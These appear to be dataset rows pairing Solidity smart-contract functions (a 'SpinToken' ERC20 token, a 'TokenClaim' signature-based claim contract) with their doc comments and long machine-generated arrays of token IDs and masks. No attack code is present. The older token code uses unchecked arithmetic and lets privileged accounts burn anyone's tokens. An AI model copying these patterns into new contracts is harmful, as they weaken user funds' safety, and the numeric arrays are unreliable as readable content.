*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract developed {
address public developer;
/**
* Constructor
*/
constructor() public {
developer = msg.sender;
}
/**
* @dev Checks only developer address is calling
*/
modifier onlyDeveloper {
require(msg.sender == developer);
_;
}
/**
* @dev Allows developer to switch developer address
* @param _developer The new developer address to be set
*/
function changeDeveloper(address _developer) public onlyDeveloper {
developer = _developer;
}
/**
* @dev Allows developer to withdraw ERC20 Token
*/
function withdrawToken(address tokenContractAddress) public onlyDeveloper {
TokenERC20 _token = TokenERC20(tokenContractAddress);
if (_token.balanceOf(this) > 0) {
_token.transfer(developer, _token.balanceOf(this));
}
}
}
contract MyAdvancedToken is developed, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyDeveloper public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyDeveloper public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyDeveloper public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
address myAddress = this;
require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
/**
* @title SpinToken
*/
contract SpinToken is MyAdvancedToken {
using SafeMath for uint256;
bool public paused;
mapping (address => bool) public allowMintTransfer;
mapping (address => bool) public allowBurn;
event Mint(address indexed account, uint256 value);
/**
* @dev Checks if account address is allowed to mint and transfer
*/
modifier onlyMintTransferBy(address account) {
require(allowMintTransfer[account] == true || account == developer);
_;
}
/**
* @dev Checks if account address is allowed to burn token
*/
modifier onlyBurnBy(address account) {
require(allowBurn[account] == true || account == developer);
_;
}
/**
* @dev Checks if contract is currently active
*/
modifier contractIsActive {
require(paused == false);
_;
}
/**
* Constructor
* @dev Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) MyAdvancedToken(initialSupply, tokenName, tokenSymbol) public {}
/******************************************/
/* DEVELOPER ONLY METHODS */
/******************************************/
/**
* @dev Only developer can pause contract
* @param _paused The boolean value to be set
*/
function setPaused(bool _paused) public onlyDeveloper {
paused = _paused;
}
/**
* @dev Only developer can allow `_account` address to mint transfer
* @param _account The address of the sender
* @param _allowed The boolean value to be set
*/
function setAllowMintTransfer(address _account, bool _allowed) public onlyDeveloper {
allowMintTransfer[_account] = _allowed;
}
/**
* @dev Only developer can allow `_account` address to burn token
* @param _account The address of the sender
* @param _allowed The boolean value to be set
*/
function setAllowBurn(address _account, bool _allowed) public onlyDeveloper {
allowBurn[_account] = _allowed;
}
/******************************************/
/* PUBLIC METHODS */
/******************************************/
/**
* @dev Get total supply
* @return The token total supply
*/
function getTotalSupply() public constant returns (uint256) {
return totalSupply;
}
/**
* @dev Get balance of an account
* @param account The account to be checked
* @return The token balance of the account
*/
function getBalanceOf(address account) public constant returns (uint256) {
return balanceOf[account];
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public contractIsActive returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public contractIsActive returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public contractIsActive returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
contractIsActive
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public contractIsActive returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public contractIsActive returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);// Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public contractIsActive {
uint amount = msg.value.div(buyPrice); // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public contractIsActive {
address myAddress = this;
require(myAddress.balance >= amount.mul(sellPrice)); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount.mul(sellPrice)); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
/**
* @dev Mints and transfers token to `_to` address.
* @param _to The address of the recipient
* @param _value The amount of token to mint and transfer
* @return Return true if success
*/
function mintTransfer(address _to, uint _value) public contractIsActive
onlyMintTransferBy(msg.sender)
returns (bool) {
require(_value > 0);
totalSupply = totalSupply.add(_value);
/*
* We are actually minting to msg.sender
* and then transfer from msg.sender to to address
*
* Since they cancel out each other, we don't need
* these executions:
* balances[msg.sender] = balances[msg.sender].add(value);
* balances[msg.sender] = balances[msg.sender].sub(value);
*/
balanceOf[_to] = balanceOf[_to].add(_value);
emit Mint(msg.sender, _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Burns token at specific address.
* @param _at the address of the sender
* @param _value the amount of token to burn
* @return true if success
*/
function burnAt(address _at, uint _value) public contractIsActive
onlyBurnBy(msg.sender)
returns (bool) {
balanceOf[_at] = balanceOf[_at].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_at, _value);
return true;
}
/******************************************/
/* INTERNAL METHODS */
/******************************************/
/**
* @dev Internal transfer, only can be called by this contract
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function _transfer(address _from, address _to, uint256 _value) internal contractIsActive {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
} | sends ether to the seller. It's important to do this last to avoid recursion attacks
| msg.sender.transfer(amount.mul(sellPrice)); | 15,854,777 | [
1,
4661,
87,
225,
2437,
358,
326,
29804,
18,
2597,
1807,
10802,
358,
741,
333,
1142,
358,
4543,
13917,
28444,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
202,
3576,
18,
15330,
18,
13866,
12,
8949,
18,
16411,
12,
87,
1165,
5147,
10019,
6862,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x874e1B98eb3150530Dc410Bb1512f032AEcf0a27/sources/browser/new_yBXTBService2.sol | Cumulative amount deposited
| totalPoolCHIPBackStop = totalPoolCHIPBackStop.addSafe(allocateBackstop); | 8,490,721 | [
1,
39,
11276,
3844,
443,
1724,
329,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
2078,
2864,
1792,
2579,
2711,
4947,
273,
2078,
2864,
1792,
2579,
2711,
4947,
18,
1289,
9890,
12,
16247,
2711,
5681,
1769,
5397,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: node_modules\@openzeppelin\contracts\utils\Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts\lib\Signature.sol
pragma solidity ^0.8.0;
library Signature {
/**
* @dev Splits signature
*/
function splitSignature(bytes memory sig) private pure returns (uint8 v, bytes32 r, bytes32 s) {
require(sig.length == 65);
assembly {
// first 32 bytes, after the length prefix.
r := mload(add(sig, 32))
// second 32 bytes.
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes).
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
/**
* @dev Recovers signer
*/
function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) {
(uint8 v, bytes32 r, bytes32 s) = splitSignature(sig);
return ecrecover(message, v, r, s);
}
/**
* @dev Builds a prefixed hash to mimic the behavior of eth_sign.
*/
function prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// File: contracts\TokenClaim.sol
pragma solidity ^0.8.0;
contract TokenClaim is Ownable {
using Signature for bytes32;
event SignatureVerifierUpdated(address account);
event AdminWalletUpdated(address account);
event TokenWithdrawed(address account, uint256 amount);
event TokenClaimed(uint256 phaseId, address account, uint256 amount);
IERC20 private _token;
address private _signatureVerifier;
address private _adminWallet;
mapping(uint256 => mapping(address => bool)) _claimed;
/**
* @dev Constructor
*/
constructor(address token, address signatureVerifier, address adminWallet)
{
_token = IERC20(token);
_signatureVerifier = signatureVerifier;
_adminWallet = adminWallet;
}
/**
* @dev Updates signature verifier
*/
function updateSignatureVerifier(address account)
external
onlyOwner
{
require(account != address(0), "TokenClaim: address is invalid");
_signatureVerifier = account;
emit SignatureVerifierUpdated(account);
}
/**
* @dev Updates admin wallet
*/
function updateAdminWallet(address account)
external
onlyOwner
{
require(account != address(0), "TokenClaim: address is invalid");
_adminWallet = account;
emit AdminWalletUpdated(account);
}
/**
* @dev Withdraws token out of this smart contract and transfer to
* admin wallet
*/
function withdrawFund(uint256 amount)
external
onlyOwner
{
require(amount > 0, "TokenClaim: amount is invalid");
_token.transfer(_adminWallet, amount);
emit TokenWithdrawed(_adminWallet, amount);
}
/**
* @dev Returns smart contract information
*/
function getContractInfo()
external
view
returns (address, address, address, uint256)
{
return (address(_token), _signatureVerifier, _adminWallet, _token.balanceOf(address(this)));
}
/**
* @dev Returns true if account claimed
*/
function isClaimed(uint256 phaseId, address account)
external
view
returns (bool)
{
return _claimed[phaseId][account];
}
/**
* @dev Claims token
*/
function claim(uint256 phaseId, uint256 index, uint256 amount, uint256 releaseTime, bytes memory signature)
external
{
address msgSender = _msgSender();
require(!_claimed[phaseId][msgSender], "TokenClaim: account already claimed");
require(block.timestamp >= releaseTime, "TokenClaim: token still is in locking time");
bytes32 message = keccak256(abi.encodePacked(phaseId, index, msgSender, amount, releaseTime, address(this))).prefixed();
require(message.recoverSigner(signature) == _signatureVerifier, "TokenClaim: signature is invalid");
amount = amount * 1e18;
_claimed[phaseId][msgSender] = true;
_token.transfer(msgSender, amount);
emit TokenClaimed(phaseId, msgSender, amount);
}
} | * @dev Updates admin wallet/ | function updateAdminWallet(address account)
external
onlyOwner
{
require(account != address(0), "TokenClaim: address is invalid");
_adminWallet = account;
emit AdminWalletUpdated(account);
}
| 10,409,283 | [
1,
5121,
3981,
9230,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1089,
4446,
16936,
12,
2867,
2236,
13,
203,
3639,
3903,
203,
3639,
1338,
5541,
203,
565,
288,
203,
3639,
2583,
12,
4631,
480,
1758,
12,
20,
3631,
315,
1345,
9762,
30,
1758,
353,
2057,
8863,
203,
203,
3639,
389,
3666,
16936,
273,
2236,
31,
203,
203,
3639,
3626,
7807,
16936,
7381,
12,
4631,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
